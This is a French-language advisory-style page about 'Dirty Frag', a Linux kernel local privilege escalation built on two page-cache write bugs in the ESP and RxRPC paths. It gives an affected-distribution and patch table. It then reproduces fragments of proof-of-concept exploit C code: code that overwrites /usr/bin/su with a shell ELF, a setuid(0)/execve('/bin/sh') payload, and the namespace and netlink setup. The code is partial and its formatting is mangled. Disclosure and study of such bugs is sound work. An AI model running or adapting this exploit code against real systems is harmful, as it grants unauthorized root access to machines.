
Dirty Frag - vulnérabilité critique du noyau Linux
La chaîne d'exploitation, classée comme une élévation de privilèges locale (LPE), permet à un utilisateur non privilégié d'obtenir un accès root sur pratiquement toutes les distributions Linux modernes exécutant des noyaux publiés depuis 2017, couvrant environ neuf années de versions. L'exploitation s'effectue via le chemin de déchiffrement en place des modules esp4, esp6 et rxrpc, corrompant le cache de pages du noyau via des appels système standard tels que splice(2) et sendmsg(2), ne nécessitant ni interaction utilisateur ni vecteur d'attaque à distance.
Les deux vulnérabilités composantes sont :
xfrm-ESP Page-Cache Write - CVE-2026-43284, dans le chemin d'entrée IPsec ESP. Fusionné dans l'arborescence netdev le 7 mai 2026 et accepté dans mainline le 8 mai 2026 en tant que commit f4c50a4034e6 (opens in new tab).
RxRPC Page-Cache Write - CVE-2026-43500 réservé, dans le chemin de vérification AFS RxRPC. Aucun correctif n'existe dans aucune arborescence au moment de la divulgation.
| Distribution | Versions touchées | CVE-2026-43284 (ESP) | CVE-2026-43500 (RxRPC) | État du correctif |
|---|---|---|---|---|
| RHEL | 8, 9, 10 | ✅ Touché | ✅ Touché | Corrigé |
| AlmaLinux | 8, 9, 10 | ✅ Touché | ⚠️ 9 et 10 uniquement¹ | Corrigé |
| Rocky Linux | 8, 9, 10 | ✅ Touché | ✅ Touché | Corrigé |
| CentOS | 8 | ✅ Touché | ✅ Touché | Corrigé |
| CloudLinux | 7 Hybrid, 8, 9, 10 | ✅ Touché | ✅ Touché | Corrigé |
| Oracle Linux | RHCK / UEK touché | ✅ Touché | ✅ Touché | Corrigé |
| Ubuntu | 20.04, 22.04, 24.04 | ✅ Touché | ✅ Touché | Corrigé |
| Debian | Bullseye, Bookworm, Trixie | ✅ Touché | ✅ Touché | Corrigé (sid en premier) |
| Fedora | Versions actuelles | ✅ Touché | ✅ Touché | Corrigé |
| Arch Linux | Rolling | ✅ Touché | ✅ Touché | Corrigé |
| Amazon Linux | 2, 2023 | ✅ Touché | ✅ Touché | Corrigé |
| Proxmox VE | Versions actuelles | ✅ Touché | ✅ Touché | Corrigé |
Touché : Noyau Linux ≥ 4.14 (depuis janv. 2017) · Toutes les distributions majeures · Aucun vecteur distant CVSS 3.1 : 8.8 ÉLEVÉ (CVE-2026-43284) · Divulgué : 7 mai 2026 · Preuve de concept publique jour zéro Chercheur : Hyunwoo Kim (@v4bel)
#ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif
#define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] / #define PAYLOAD_LEN 192 / bytes of shell_elf to write (48 triggers) / #define ENTRY_OFFSET 0x78 / shellcode entry inside the new ELF */
/*
setgid(0); setuid(0); setgroups(0, NULL);
execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##VA_ARGS); } while (0)
static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; }
static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { SLOG("gid_map: %s", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } close(s); }
static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); }